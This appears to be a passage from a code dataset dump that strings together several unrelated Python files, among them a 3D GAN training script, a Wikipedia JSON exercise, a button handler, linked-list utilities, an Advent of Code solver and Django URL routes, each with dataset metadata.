Variable(y_random_pcode_.cuda())\n\t\t\t\t\ty_random_pcode_onehot_ = Variable( y_random_pcode_onehot_.cuda() )\n\t\t\t\telse:\n\t\t\t\t\tx2D_, z_ = Variable(x2D_), Variable(z_)\n\t\t\t\t\tx3D_ = Variable(x3D_)\n\t\t\t\t\ty_id_ = Variable(y_id_)\n\t\t\t\t\ty_pcode_ = Variable(y_pcode_)\n\t\t\t\t\ty_pcode_onehot_ = Variable( y_pcode_onehot_ )\n\t\t\t\t\ty_random_pcode_ = Variable(y_random_pcode_)\n\t\t\t\t\ty_random_pcode_onehot_ = Variable( y_random_pcode_onehot_ )\n\n\t\t\t\t# update D network\n\t\t\t\tfor iD in range(self.n_critic) :\n\t\t\t\t\tself.D_optimizer.zero_grad()\n\t\n\t\t\t\t\tD_GAN_real, D_id, D_pcode = self.D(x3D_)\n\t\t\t\t\tif 'wass' in self.loss_option:\n\t\t\t\t\t\tD_loss_GANreal = -torch.mean(D_GAN_real)\n\t\t\t\t\telse:\n\t\t\t\t\t\tD_loss_GANreal = self.BCE_loss(D_GAN_real, self.y_real_)\n\t\t\t\t\tD_loss_real_id = self.CE_loss(D_id, y_id_)\n\t\t\t\t\tD_loss_real_pcode = self.CE_loss(D_pcode, y_pcode_)\n\t\n\t\t\t\t\tx3D_hat = self.G(x2D_, y_random_pcode_onehot_, z_)\n\t\t\t\t\tD_GAN_fake, _, _ = self.D(x3D_hat)\n\t\t\t\t\tif 'wass' in self.loss_option:\n\t\t\t\t\t\tD_loss_GANfake = torch.mean(D_GAN_fake)\n\t\t\t\t\telse:\n\t\t\t\t\t\tD_loss_GANfake = self.BCE_loss(D_GAN_fake, self.y_fake_)\n\t\n\t\t\t\t\tnum_correct_real = torch.sum(D_GAN_real>0.5)\n\t\t\t\t\tnum_correct_fake = torch.sum(D_GAN_fake<0.5)\n\t\t\t\t\tD_acc = float(num_correct_real.data[0] + num_correct_fake.data[0]) / (self.batch_size*2)\n\t\n\t\t\t\t\tif 'GP' in self.loss_option:\n\t\t\t\t\t\tif 'wass' in self.loss_option:\n\t\t\t\t\t\t\t# gradient penalty from WGAN_GP.py\n\t\t\t\t\t\t\tif self.gpu_mode:\n\t\t\t\t\t\t\t\talpha = torch.rand(x3D_.size()).cuda()\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\talpha = torch.rand(x3D_.size())\n\t\t\t\n\t\t\t\t\t\t\tx_hat = Variable(alpha * x3D_.data + (1 - alpha) * x3D_hat.data, requires_grad=True)\n\t\t\t\n\t\t\t\t\t\t\tpred_hat, _, _ = self.D(x_hat)\n\t\t\t\t\t\t\tif self.gpu_mode:\n\t\t\t\t\t\t\t\tgradients = grad(outputs=pred_hat, inputs=x_hat, grad_outputs=torch.ones(pred_hat.size()).cuda(),\n\t\t\t\t\t\t\t\t\t\t\t create_graph=True, retain_graph=True, only_inputs=True)[0]\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tgradients = grad(outputs=pred_hat, inputs=x_hat, grad_outputs=torch.ones(pred_hat.size()),\n\t\t\t\t\t\t\t\t\t\t\t\t create_graph=True, retain_graph=True, only_inputs=True)[0]\n\t\t\t\n\t\t\t\t\t\t\tgradient_penalty = self.lambda_ * ((gradients.view(gradients.size()[0], -1).norm(2, 1) - 1) ** 2).mean()\n\n\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t# DRAGAN Loss (Gradient penalty)\n\t\t\t\t\t\t\tif self.gpu_mode:\n\t\t\t\t\t\t\t\talpha = torch.rand(x2D_.size()).cuda()\n\t\t\t\t\t\t\t\tx2D_hat = Variable(alpha*x2D_.data +\n\t\t\t\t\t\t\t\t\t\t\t\t\t(1-alpha)*(x2D_.data+0.5*x2D_.data.std()*torch.rand(x2D_.size()).cuda()),\n\t\t\t\t\t\t\t\t\t\t\t\t\trequires_grad=True)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\talpha = torch.rand(x2D_.size())\n\t\t\t\t\t\t\t\tx2D_hat = Variable(alpha*x2D_.data +\n\t\t\t\t\t\t\t\t\t\t\t\t\t(1-alpha)*(x2D_.data+0.5*x2D_.data.std()*torch.rand(x2D_.size())),\n\t\t\t\t\t\t\t\t\t\t\t\t\trequires_grad=True)\n\t\t\t\t\t\t\tpred_hat,_,_,_ = self.D(x2D_hat)\n\t\t\t\t\t\t\tif self.gpu_mode:\n\t\t\t\t\t\t\t\tgradients = grad(outputs=pred_hat, inputs=x2D_hat, grad_outputs=torch.ones(pred_hat.size()).cuda(),\n\t\t\t\t\t\t\t\t\t\t\t\t\tcreate_graph=True, retain_graph=True, only_inputs=True)[0]\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tgradients = grad(outputs=pred_hat, inputs=x2D_hat, grad_outputs=torch.ones(pred_hat.size()),\n\t\t\t\t\t\t\t\t\t\t\t\t\tcreate_graph=True, retain_graph=True, only_inputs=True)[0]\n\t\t\t\n\t\t\t\t\t\t\tgradient_penalty = self.lambda_ * ((gradients.view(gradients.size(0),-1).norm(2,1)-1)**2).mean()\n\t\t\n\t\t\t\t\t\tD_loss = D_loss_GANreal + D_loss_real_id + D_loss_real_pcode + D_loss_GANfake + gradient_penalty\n\t\t\t\t\telse:\n\t\t\t\t\t\tD_loss = D_loss_GANreal + D_loss_real_id + D_loss_real_pcode + D_loss_GANfake\n\n\t\t\t\t\tif iD == 0:\t\n\t\t\t\t\t\tself.train_hist['D_loss'].append(D_loss.data[0])\n\t\t\t\t\t\tself.train_hist['D_loss_GAN_real'].append(D_loss_GANreal.data[0])\n\t\t\t\t\t\tself.train_hist['D_loss_id'].append(D_loss_real_id.data[0])\n\t\t\t\t\t\tself.train_hist['D_loss_pcode'].append(D_loss_real_pcode.data[0])\n\t\t\t\t\t\tself.train_hist['D_loss_GAN_fake'].append(D_loss_GANfake.data[0])\n\t\t\t\t\t\tself.train_hist['D_acc'].append(D_acc)\n\t\n\t\t\t\t\tdivisor = min( len(self.train_hist['D_acc']), self.nDaccAvg )\n\t\t\t\t\tD_acc_avg = sum( self.train_hist['D_acc'][-self.nDaccAvg:] )/divisor\n\t\t\t\t\tD_loss.backward()\n\t\t\t\t\tif D_acc_avg < 0.8:\n\t\t\t\t\t\tself.D_optimizer.step()\n\n\t\t\t\t\tif 'wass' in self.loss_option and 'GP' not in self.loss_option:\n\t\t\t\t\t\tfor p in self.D.parameters():\n\t\t\t\t\t\t\tp.data.clamp_(-self.c, self.c)\n\n\t\n\t\t\t\t# update G network\n\t\t\t\tfor iG in range( self.n_gen ):\n\t\t\t\t\tself.G_optimizer.zero_grad()\n\t\t\n\t\t\t\t\tx3D_hat = self.G(x2D_, y_pcode_onehot_, z_)\n\t\t\t\t\tD_fake_GAN, D_fake_id, D_fake_pcode = self.D(x3D_hat)\n\t\t\t\t\tG_loss_GANfake = self.BCE_loss(D_fake_GAN, self.y_real_)\n\t\t\t\t\tG_loss_id = self.CE_loss(D_fake_id, y_id_)\n\t\t\t\t\tG_loss_pcode = self.CE_loss(D_fake_pcode, y_pcode_)\n\t\n\t\t\t\t\tG_loss = G_loss_GANfake + G_loss_id + G_loss_pcode\n\t\t\t\t\tif 'recon' in self.loss_option:\n\t\t\t\t\t\tG_loss_recon = self.MSE_loss(x3D_hat, x3D_)\n\t\t\t\t\t\tG_loss += G_loss_recon\n\t\t\t\t\telif 'reconL1' in self.loss_option:\n\t\t\t\t\t\tG_loss_recon = self.L1_loss(x3D_hat, x3D_)\n\t\t\t\t\t\tG_loss += G_loss_recon\n\t\n\t\t\t\t\tif 'dist' in self.loss_option:\n\t\t\t\t\t\tsumA = 0\n\t\t\t\t\t\tsumB = 0\n\t\t\t\t\t\tfor iA in range(self.batch_size):\n\t\t\t\t\t\t\tdist_2D = x2D_[iA]-x2D_ + eps\n\t\t\t\t\t\t\tdist_3D = x3D_hat[iA]-x3D_hat + eps\n\t\t\t\t\t\t\tnormdist_2D = torch.norm(dist_2D.view(self.batch_size,-1),1, dim=1)\n\t\t\t\t\t\t\tnormdist_3D = torch.norm(dist_3D.view(self.batch_size,-1),1, dim=1)\n\t\t\t\t\t\t\tsumA += normdist_2D\n\t\t\t\t\t\t\tsumB += normdist_3D\n\t\t\n\t\t\t\t\t\tsumA /= self.data_loader.dataset.stddevA # normalization\n\t\t\t\t\t\tsumB /= self.data_loader.dataset.stddevB # normalization\n\t\t\t\t\t\tsumA /= nPairs # expectation\n\t\t\t\t\t\tsumB /= nPairs # expectation\n\t\t\n\t\t\t\t\t\tG_loss_distance = torch.abs( torch.sum( sumA - sumB - normalizerA + normalizerB )) / self.batch_size\n\t\t\t\t\t\tG_loss += G_loss_distance\n\t\n\t\n\t\t\t\t\tif iG == 0:\n\t\t\t\t\t\tself.train_hist['G_loss'].append(G_loss.data[0])\n\t\t\t\t\t\tself.train_hist['G_loss_GAN_fake'].append(G_loss_GANfake.data[0])\n\t\t\t\t\t\tself.train_hist['G_loss_id'].append(G_loss_id.data[0])\n\t\t\t\t\t\tself.train_hist['G_loss_pcode'].append(G_loss_pcode.data[0])\n\t\t\t\t\t\tif 'recon' in self.loss_option or 'reconL1' in self.loss_option:\n\t\t\t\t\t\t\tself.train_hist['G_loss_recon'].append(G_loss_recon.data[0])\n\t\t\t\t\t\tif 'dist' in self.loss_option:\n\t\t\t\t\t\t\tself.train_hist['G_loss_dist'].append(G_loss_distance.data[0])\n\t\t\n\t\t\t\t\tG_loss.backward()\n\t\t\t\t\tself.G_optimizer.step()\n\t\t\t\t\t\n\t\t\t\t\tif 'recon' in self.loss_option and 'dist' in self.loss_option:\n\t\t\t\t\t\tG_loss = G_loss_GANfake + G_loss_id + G_loss_pcode + G_loss_recon + G_loss_distance\n\t\t\t\t\telif 'recon' in self.loss_option :\n\t\t\t\t\t\tG_loss = G_loss_GANfake + G_loss_id + G_loss_pcode + G_loss_recon\n\t\t\t\t\telif 'dist' in self.loss_option:\n\t\t\t\t\t\tG_loss = G_loss_GANfake + G_loss_id + G_loss_pcode + G_loss_distance\n\t\t\t\t\telse:\n\t\t\t\t\t\tG_loss = G_loss_GANfake + G_loss_id + G_loss_pcode\n\t\t\t\t\t\t\n\n\t\n\t\t\t\tif ((iB + 1) % 10) == 0:\n\t\t\t\t\tsecs = time.time()-start_time_epoch\n\t\t\t\t\thours = secs//3600\n\t\t\t\t\tmins = secs/60%60\n\t\t\t\t\t#print(\"%2dh%2dm E:[%2d] B:[%4d/%4d] D: %.4f=%.4f+%.4f+%.4f+%.4f,\\n\\t\\t\\t G: %.4f=%.4f+%.4f+%.4f\" %\n\t\t\t\t\tprint(\"%2dh%2dm E[%2d] B[%d/%d] D: %.4f,G: %.4f, D_acc:%.4f/%.4f\" %\n\t\t\t\t\t\t (hours,mins, (epoch + 1), (iB + 1), self.data_loader.dataset.__len__() // self.batch_size, \n\t\t\t\t\t\t D_loss.data[0], G_loss.data[0], D_acc, D_acc_avg) )\n#\t\t\t\t\t\t D_loss.data[0], D_loss_GANreal.data[0], D_loss_real_id.data[0],\n#\t\t\t\t\t\t D_loss_real_pcode.data[0], D_loss_GANfake.data[0],\n#\t\t\t\t\t\t G_loss.data[0], G_loss_GANfake.data[0], G_loss_id.data[0],\n#\t\t\t\t\t\t G_loss_pcode.data[0]) )\n\n\t\t\tself.train_hist['per_epoch_time'].append(time.time() - epoch_start_time)\n\t\t\tself.save()\n\t\t\tutils.loss_plot(self.train_hist,\n\t\t\t\t\t\t\tos.path.join(self.save_dir, self.dataset, self.model_name),\n\t\t\t\t\t\t\tself.model_name, use_subplot=True)\n\t\t\tself.dump_x_hat((epoch+1))\n\n\t\tself.train_hist['total_time'].append(time.time() - start_time)\n\t\tprint(\"Avg one epoch time: %.2f, total %d epochs time: %.2f\" % (np.mean(self.train_hist['per_epoch_time']),\n\t\t\t self.epoch, self.train_hist['total_time'][0]))\n\t\tprint(\"Training finish!... save training results\")\n\n\t\tself.save()\n\t\tutils.loss_plot(self.train_hist,\n\t\t\t\t\t\tos.path.join(self.save_dir, self.dataset, self.model_name),\n\t\t\t\t\t\tself.model_name, use_subplot=True)\n\n\n\tdef dump_x_hat(self, epoch, fix=True):\n\t\tprint( 'dump x_hat...' )\n\t\tself.G.eval()\n\n\t\tif not os.path.exists(self.result_dir + '/' + self.dataset + '/' + self.model_name):\n\t\t\tos.makedirs(self.result_dir + '/' + self.dataset + '/' + self.model_name)\n\n\t\tif fix:\n\t\t\t\"\"\" fixed noise \"\"\"\n\t\t\tsamples = self.G(self.sample_x2D_, self.sample_pcode_, self.sample_z_ )\n\t\telse:\n\t\t\t\"\"\" random noise \"\"\"\n\t\t\tif self.gpu_mode:\n\t\t\t\tsample_z_ = Variable(torch.rand((self.batch_size, self.Nz)).cuda(), volatile=True)\n\t\t\telse:\n\t\t\t\tsample_z_ = Variable(torch.rand((self.batch_size, self.Nz)), volatile=True)\n\n\t\t\tsamples = self.G(sample_z_)\n\n\t\tif self.gpu_mode:\n\t\t\tsamples = samples.cpu().data.numpy().squeeze()\n\t\telse:\n\t\t\tsamples = samples.data.numpy().squeeze()\n\n\t\tfname = self.result_dir + '/' + self.dataset + '/' + self.model_name + '/' + self.model_name + '_epoch%03d' % epoch + '.npy'\n\t\tsamples.dump(fname)\n\n\tdef get_image_batch(self):\n\t\tdataIter = iter(self.data_loader)\n\t\treturn next(dataIter)\n\n\tdef visualize_results(self,a=None,b=None):\n\t\tprint( 'visualizing result...' )\n\t\tsave_dir = os.path.join(self.result_dir, self.dataset, self.model_name, 'generate') \n\t\tif not os.path.exists(save_dir):\n\t\t\tos.makedirs(save_dir)\n\n\t\tself.G.eval()\n\n\t\t# reconstruction (inference 2D-to-3D )\n\t\t_, y_, x2D = self.get_image_batch()\n\t\ty_ = y_['pcode']\n\t\ty_onehot_ = torch.zeros( self.batch_size, self.Npcode )\n\t\ty_onehot_.scatter_(1, y_.view(-1,1), 1)\n\t\n\t\t\"\"\" random noise \"\"\"\n\t\tz_ = torch.normal( torch.zeros(self.batch_size, self.Nz), torch.ones(self.batch_size,self.Nz) )\n\n\t\tx2D_, z_ = Variable(x2D.cuda(),volatile=True), Variable(z_.cuda(),volatile=True)\n\t\ty_ = Variable( y_.cuda(), volatile=True )\n\t\ty_onehot_ = Variable( y_onehot_.cuda(), volatile=True )\n\n\t\tsamples = self.G(x2D_, y_onehot_, z_)\n\t\n\t\tsamples = samples.cpu().data.numpy()\n\t\tprint( 'saving...')\n\t\tfor i in range( self.batch_size ):\n\t\t\tfname = os.path.join(self.result_dir, self.dataset, self.model_name, 'generate', self.model_name + '_%02d_expr%02d.png'%(i,y_[i].data[0]))\n\t\t\timageio.imwrite(fname, x2D[i].numpy().transpose(1,2,0))\n\t\t\tfilename = os.path.join( self.result_dir, self.dataset, self.model_name, 'generate',\n\t\t\t\t\t\t\t\t\t\tself.model_name+'_recon%02d_expr%02d.npy'%(i,y_[i].data[0]))\n\t\t\tnp.expand_dims(samples[i],0).dump( filename )\n\n\t\tprint( 'fixed input with different expr...')\n\t\t# fixed input with different expr\n\t\tnPcodes = self.Npcode\n\t\tsample_pcode = torch.zeros( nPcodes, nPcodes )\n\t\tfor iS in range( nPcodes ):\n\t\t\tii = iS%nPcodes\n\t\t\tsample_pcode[iS,ii] = 1\n\t\tsample_pcode = Variable( sample_pcode.cuda(), volatile=True )\n\t\tz_ = torch.normal( torch.zeros(nPcodes, self.Nz), torch.ones(nPcodes,self.Nz) )\n\t\tz_ = Variable(z_.cuda(),volatile=True)\n\n\t\tfor i in range( self.batch_size ):\n\t\t# for i in range( 10 ):\n\t\t\tsample_x2D_s = (x2D_[i].unsqueeze(0),)*nPcodes\n\t\t\tsample_x2D_ = torch.cat( sample_x2D_s )\n\t\n\t\t\tsamples = self.G(sample_x2D_, sample_pcode, z_)\n\n\t\t\tprint( 'saving...{}'.format(i))\n\t\t\tfname = os.path.join(self.result_dir, self.dataset, self.model_name, 'generate', \n\t\t\t\t\t\t\t\t\tself.model_name + '_%02d_varyingexpr.png'%(i))\n\t\t\timageio.imwrite(fname, x2D[i].numpy().transpose(1,2,0))\n\n\t\t\tsamples_numpy = samples.cpu().data.numpy()\n\t\t\tfor j in range( nPcodes ):\n\t\t\t\tfilename = os.path.join( self.result_dir, self.dataset, self.model_name, 'generate',\n\t\t\t\t\t\t\t\t\t\t\tself.model_name+'_sample%03d_expr%02d.npy'%(i,j))\n\t\t\t\tnp.expand_dims(samples_numpy[j],0).dump( filename )\n\n\n\n\tdef save(self):\n\t\tsave_dir = os.path.join(self.save_dir, self.dataset, self.model_name)\n\n\t\tif not os.path.exists(save_dir):\n\t\t\tos.makedirs(save_dir)\n\n\t\ttorch.save(self.G.state_dict(), os.path.join(save_dir, self.model_name + '_G.pkl'))\n\t\ttorch.save(self.D.state_dict(), os.path.join(save_dir, self.model_name + '_D.pkl'))\n\n\t\twith open(os.path.join(save_dir, self.model_name + '_history.pkl'), 'wb') as f:\n\t\t\tpickle.dump(self.train_hist, f)\n\n\tdef load(self):\n\t\tsave_dir = os.path.join(self.save_dir, self.dataset, self.model_name)\n\n\t\tself.G.load_state_dict(torch.load(os.path.join(save_dir, self.model_name + '_G.pkl')))\n\t\tself.D.load_state_dict(torch.load(os.path.join(save_dir, self.model_name + '_D.pkl')))\n\n\t\ttry:\n\t\t\twith open(os.path.join(save_dir, self.model_name + '_history.pkl')) as fhandle:\n\t\t\t\tself.train_hist = pickle.load(fhandle)\n\t\t\t\n\t\t\tself.epoch_start = len(self.train_hist['per_epoch_time'])\n\t\t\tprint( 'loaded epoch {}'.format(self.epoch_start) )\n\t\t\tprint( 'history has following keys:' )\n\t\t\tprint( self.train_hist.keys() )\n\t\texcept:\n\t\t\tprint('history is not found and ignored')\n\n\tdef interpolate_z(self, opts):\n\t\tsave_dir = os.path.join(self.result_dir, self.dataset, self.model_name, 'interp_z') \n\t\tif not os.path.exists(save_dir):\n\t\t\tos.makedirs(save_dir)\n\t\t\n\t\tself.G.eval()\n\n\t\tn_interp = opts.n_interp\n\n\t\t_, y, x2D = self.get_image_batch()\n\n\t\tfname = os.path.join( save_dir, self.model_name + '_input.png')\n\t\timageio.imwrite(fname, x2D[0].numpy().transpose(1,2,0))\n\t\t\n\t\tz1 = torch.normal( torch.zeros(self.batch_size, self.Nz), torch.ones(self.batch_size,self.Nz) )\n\t\tz2 = torch.normal( torch.zeros(self.batch_size, self.Nz), torch.ones(self.batch_size,self.Nz) )\n\t\ty = y['pcode']\n\t\ty_onehot = torch.zeros( self.batch_size, self.Npcode )\n\t\ty_onehot.scatter_(1, y.view(-1,1), 1)\n\n\t\tif self.gpu_mode:\n\t\t\tself.G = self.G.cuda()\n\t\t\tx2D = Variable(x2D.cuda(),volatile=True)\n\t\t\tz1, z2 = Variable(z1.cuda(),volatile=True), Variable(z2.cuda(),volatile=True)\n\t\t\ty = Variable( y.cuda(), volatile=True )\n\t\t\ty_onehot = Variable( y_onehot.cuda(), volatile=True )\n\n\n\t\tdz = (z2-z1)/n_interp\n\n\t\t#make interpolation 3D\n\t\tsingleX2D = x2D[0].unsqueeze(0)\n\t\tfor i in range(1, n_interp):\n\t\t\tz_interp = z1 + i*dz\n\t\t\tsamples = self.G(singleX2D, y_onehot[0].unsqueeze(0), z_interp[0].unsqueeze(0))\n\t\t\tif self.gpu_mode:\n\t\t\t\tsamples = samples.cpu().data.numpy()\n\t\t\telse:\n\t\t\t\tsamples = samples.data.numpy()\n\t\t\tfname = os.path.join(save_dir, self.model_name +'interp_z_%03d.npy' % (i))\n\t\t\tsamples.dump(fname)\n\t\n\tdef interpolate_id(self, opts):\n\t\tsave_dir = os.path.join(self.result_dir, self.dataset, self.model_name, 'interp') \n\t\tif not os.path.exists(save_dir):\n\t\t\tos.makedirs(save_dir)\n\t\t\n\t\tself.G.eval()\n\n\t\tn_interp = opts.n_interp\n\n\t\t_, y, x2D = self.get_image_batch()\n\n\t\tfname = os.path.join(self.result_dir, self.dataset, self.model_name, 'interp', self.model_name + '_A.png')\n\t\timageio.imwrite(fname, x2D[0].numpy().transpose(1,2,0))\n\t\tfname = os.path.join(self.result_dir, self.dataset, self.model_name, 'interp', self.model_name + '_B.png')\n\t\timageio.imwrite(fname, x2D[1].numpy().transpose(1,2,0))\n\t\t\n\t\tz = torch.normal( torch.zeros(self.batch_size, self.Nz), torch.ones(self.batch_size,self.Nz) )\n\t\ty = y['pcode']\n\t\ty_onehot = torch.zeros( self.batch_size, self.Npcode )\n\t\ty_onehot.scatter_(1, y.view(-1,1), 1)\n\n\t\tif self.gpu_mode:\n\t\t\tself.G = self.G.cuda()\n\t\t\tx2D, z = Variable(x2D.cuda(),volatile=True), Variable(z.cuda(),volatile=True)\n\t\t\ty = Variable( y.cuda(), volatile=True )\n\t\t\ty_onehot = Variable( y_onehot.cuda(), volatile=True )\n\n\n\t\tsamples = self.G(x2D, y_onehot, z)\n\t\n\t\tsamples = samples.cpu().data.numpy()\n\t\tprint( 'saving...')\n\t\tfor i in range( self.batch_size ):\n\t\t\tfilename = os.path.join( self.result_dir, self.dataset, self.model_name, 'interp',\n\t\t\t\t\t\t\t\t\t\tself.model_name+'_recon%02d_expr%02d.npy'%(i,y[i].data[0]))\n\t\t\tnp.expand_dims(samples[i],0).dump( filename )\n\t\t\n\t\tdy = (y_onehot[1].unsqueeze(0)-y_onehot[0].unsqueeze(0))/n_interp\n\n\t\t#make interpolation 3D\n\t\tsingleX2D = x2D[0].unsqueeze(0)\n\t\tfor i in range(1, n_interp):\n\t\t\ty_interp = y_onehot[0].unsqueeze(0) + i*dy\n\t\t\tsamples = self.G(singleX2D, y_interp, z[0].unsqueeze(0))\n\t\t\tif self.gpu_mode:\n\t\t\t\tsamples = samples.cpu().data.numpy()\n\t\t\telse:\n\t\t\t\tsamples = samples.data.numpy()\n\t\t\tfname = os.path.join(self.result_dir, self.dataset, self.model_name, 'interp', self.model_name +'%03d.npy' % (i))\n\t\t\tsamples.dump(fname)\n\t\t\t\n\tdef compare(self, x2D, y_, y_onehot, dir_dest='' ):\n\t\tprint( 'comparing result...' )\n\t\tif len(dir_dest) > 0:\n\t\t\tsave_dir = dir_dest\n\t\telse:\n\t\t\tsave_dir = os.path.join(self.result_dir, self.dataset, 'compare' )\n\t\tif not os.path.exists(save_dir):\n\t\t\tos.makedirs(save_dir)\n\n\t\t# reconstruction (inference 2D-to-3D )\n\t\t\"\"\" random noise \"\"\"\n\t\tz_ = torch.normal( torch.zeros(self.batch_size, self.Nz), torch.ones(self.batch_size,self.Nz) )\n\t\tz_ = Variable(z_.cuda(),volatile=True)\n\n\t\tsamples = self.G(x2D, y_onehot, z_)\n\t\n\t\tsamples = samples.cpu().data.numpy()\n\t\tprint( 'saving...')\n\t\tfor i in range( self.batch_size ):\n\t\t\tfilename = os.path.join( self.result_dir, self.dataset, 'compare',\n\t\t\t\t\t\t\t\t\t\tself.model_name+'_recon_%02d_expr%02d.npy'%(i,y_[i]))\n\t\t\tnp.expand_dims(samples[i],0).dump( filename )\n\n","sub_path":"DRGAN3D.py","file_name":"DRGAN3D.py","file_ext":"py","file_size_in_byte":31301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"64569921","text":"#20. JSONデータの読み込み\n#Wikipedia記事のJSONファイルを読み込み,「イギリス」に関する記事本文を表示せよ.\n# 問題21-29では,ここで抽出した記事本文に対して実行せよ.\n\n#・1行に1記事の情報がJSON形式で格納される\n#・各行には記事名が\"title\"キーに,記事本文が\"text\"キーの辞書オブジェクトに格納され,\n# そのオブジェクトがJSON形式で書き出される\nimport json\n\ncountry = './data/country.json'\ndata = []\nwith open(country,'r',encoding='utf_8') as j:\n for line in j:\n wiki = json.loads(line)\n if wiki['title'] == 'イギリス':\n #print(wiki['text'])\n data = wiki\n#以降のためにファイル書き込み\nengland ='./data/great_britain.json'\nwith open(england,'w',encoding='utf_8') as f:\n json.dump(data,f,ensure_ascii=False)\n\n#他の回答\n#import gzip\n#import json\n#fname = 'jawiki-country.json.gz' <- ファイルの解凍からしてる\n\n#with gzip.open(fname, 'rt') as data_file:\n# for line in data_file:\n# data_json = json.loads(line)\n# if data_json['title'] == 'イギリス':\n# print(data_json['text'])\n# break","sub_path":"section3/exercise20.py","file_name":"exercise20.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"72830384","text":"from time import monotonic\nfrom board import BUTTON_A, BUTTON_B\nfrom digitalio import DigitalInOut, Pull\n\n\nclass Buttons:\n 'A general-purpose button press detection class. Calls the listeners with a 0 or a 1 when a button is pushed.'\n\n def __init__(self, button_repeat_delay_secs):\n self.button_repeat_delay_secs = button_repeat_delay_secs\n self.next_button_check = monotonic()\n self.buttons = [DigitalInOut(pin) for pin in (BUTTON_A, BUTTON_B)]\n for button in self.buttons:\n button.switch_to_input(pull=Pull.DOWN)\n self.listeners = []\n\n def on_change(self, listener):\n self.listeners.append(listener)\n\n def update(self):\n time_now = monotonic()\n if time_now >= self.next_button_check:\n for index, button in enumerate(self.buttons):\n if button.value:\n self.next_button_check = time_now + self.button_repeat_delay_secs\n for listener in self.listeners:\n listener(index)\n","sub_path":"src/cpx/buttons.py","file_name":"buttons.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"184902686","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param A : head node of linked list\n # @return the first node in the cycle in the linked list\n def detectCycle(self, A):\n if A==None or A.next==None:\n return None\n temp=A\n slow=A\n fast=A.next\n s=1\n while(slow!=fast):\n slow=slow.next\n s+=1\n if fast.next==None or fast.next.next==None:\n return None\n \n fast=fast.next.next\n \n temp=A\n slow=slow.next\n \n while slow!=temp:\n slow=slow.next\n temp=temp.next\n \n return temp\n \n \n \n","sub_path":"InterviewBit/list cycle.py","file_name":"list cycle.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"195582886","text":"from functools import reduce\nimport string\n\n\ndef process_polymer(example: str):\n def reduction(x, y):\n if len(x) > 0 and _condition(x[-1], y):\n return x[:-1]\n else:\n return x + y\n while True:\n length = len(example)\n example = reduce(reduction, example)\n if len(example) == length:\n return example\n\n\ndef _condition(x, y) -> bool:\n return x != y and (str.upper(x) == y or str.lower(x) == y)\n\n\ndef shortest_polymer(example: str):\n a = [(len(process_polymer(example.replace(low, '').replace(up, ''))), low)\n for low, up in zip(string.ascii_lowercase, string.ascii_uppercase)]\n return min(a, key=lambda x: x[0])\n\n\nif __name__ == '__main__':\n with open('../data/day5.txt') as file:\n polymers = file.read()\n\n print(f'Units remaining: {len(process_polymer(polymers))}')\n print(f'Shortest Polymer: {shortest_polymer(polymers)}')\n","sub_path":"aoc/day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"403286367","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^signup/', views.signup, name='signup'), \n url(r'^signupinfo/', views.signupinfo, name='signupinfo'),\n url(r'^login/', views.login, name='login'), \n url(r'^profile/', views.profile, name='profile'),\n url(r'^search/', views.search, name='search'),\n url(r'^askquestion/', views.askquestion, name='askquestion'),\n url(r'^answerquestion/',views.answerquestion,name='answerquestion'),\n url(r'^addtag/',views.addtag,name='addtag'),\n url(r'^logout/',views.logout,name='logout'),\n\n]\n\n","sub_path":"braindrain/forum/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"135619704","text":"class Node():\n def __init__(self, value):\n self.data = value\n self.next = None\n self.prev = None\n\nclass DoublyLinkedList():\n def __init__(self):\n self.head = None\n\n def prepend(self, value):\n if not self.head:\n self.head = Node(value)\n return\n\n temp = self.head\n self.head = Node(value)\n self.head.next = temp\n temp.prev = self.head\n\n def append(self, value):\n if not self.head:\n self.head = Node(value)\n return\n\n temp = self.head\n while temp.next:\n temp = temp.next\n temp.next = Node(value)\n temp.next.prev = temp\n\n def print(self):\n if not self.head:\n return\n\n temp = self.head\n while temp:\n print(temp.data, end = ' ')\n temp = temp.next\n\n def replace(self, key, value):\n if not self.head:\n self.append(value)\n return\n\n temp = self.head\n while temp and temp.data != key:\n temp = temp.next\n if not temp:\n return 'Key not present'\n temp2 = temp\n temp = Node(value)\n temp.next = temp2.next\n temp.prev = temp2.prev\n if not temp2.prev:\n self.head = temp\n else:\n temp2.prev.next = temp\n if not temp2.next:\n pass\n else:\n temp2.next.prev = temp\n return\n temp2 = None\n\n def addAfter(self, key, value):\n if not self.head:\n self.head = Node(value)\n return\n\n temp = self.head\n while temp and temp.data != key:\n temp = temp.next\n if not temp:\n return 'Value not present'\n temp2 = Node(value)\n temp2.next = temp.next\n if not temp2.next:\n pass\n else:\n temp2.next.prev = temp2\n temp2.prev = temp\n if not temp2.prev:\n self.head = temp2\n else:\n temp.next = temp2\n\n # def reverse(self):\n # if not self.head or not self.head.next:\n # return\n\n # cur = self.head\n # previous = temp = None\n # while curr:\n # temp = curr.prev\n # curr.next = previous\n # # curr.prev = temp\n # previous.prev = curr\n # temp.next = curr\n\n # previous = curr\n # curr = curr.prev\n\n def removeDuplicates(self):\n if not self.head or not self.head.next:\n return\n\n temp = self.head\n dic = {}\n while temp:\n if temp.data not in dic:\n dic[temp.data] = 1\n temp = temp.next\n else:\n temp.prev.next = temp.next\n if not 